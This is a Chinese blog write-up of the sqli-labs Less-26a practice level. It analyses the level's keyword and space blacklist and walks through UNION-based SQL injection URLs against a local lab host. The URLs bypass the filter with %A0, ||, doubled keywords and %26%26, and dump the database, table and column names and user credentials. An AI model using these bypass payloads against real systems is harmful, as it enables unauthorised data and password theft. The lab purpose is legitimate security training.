sqli-labs less-26a

Sqli-labs less-26a

此关卡我的windows环境出现问题,无法进行测试,所以更换环境为linux,我使用kali系统下docker拉取acgpiano/sqli-labs靶场搭建的环境来继续进行测试
在这里插入图片描述

分析源码

unction blacklist($id)
{
        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\/\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);                     //Strip out #
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\/\\\\]/',"", $id);                //Strip out slashes
        return $id;
}

可以看到被过滤的字符
可以使用||或者双写绕过or,%A0来绕过空格,如果windows环境空格无法转义,可以尝试报错注入。

sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
        $result=mysql_query($sql);
        $row = mysql_fetch_array($result);

分析这段源码可得闭合方式为'),如果为黑盒模式,需要进行各种尝试,来确定闭合方式。

确定列数及注入点

构造

http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,2,3||('1
%A0绕过空格,|| 绕过or,此处无法使用order by 来测试列数,所以使用union select 一次尝试,
最终确定注入点和列数

爆数据

数据库名

http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(database())),3||('1
在这里插入图片描述

表名

http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database())),3||('1
注意各种绕过,多使用()来绕过空格
在这里插入图片描述

列名

http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26table_name=‘users’)),3||('1
%26%26转移为&&绕过and,也可以用其他方式
在这里插入图片描述

数据

http://192.168.140.131:8888/Less-26a/?id=0’)%A0union%A0select%A01,(select(group_concat(username,‘~’,passwoorrd))from(security.users)),3||('1
在这里插入图片描述
OVER

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值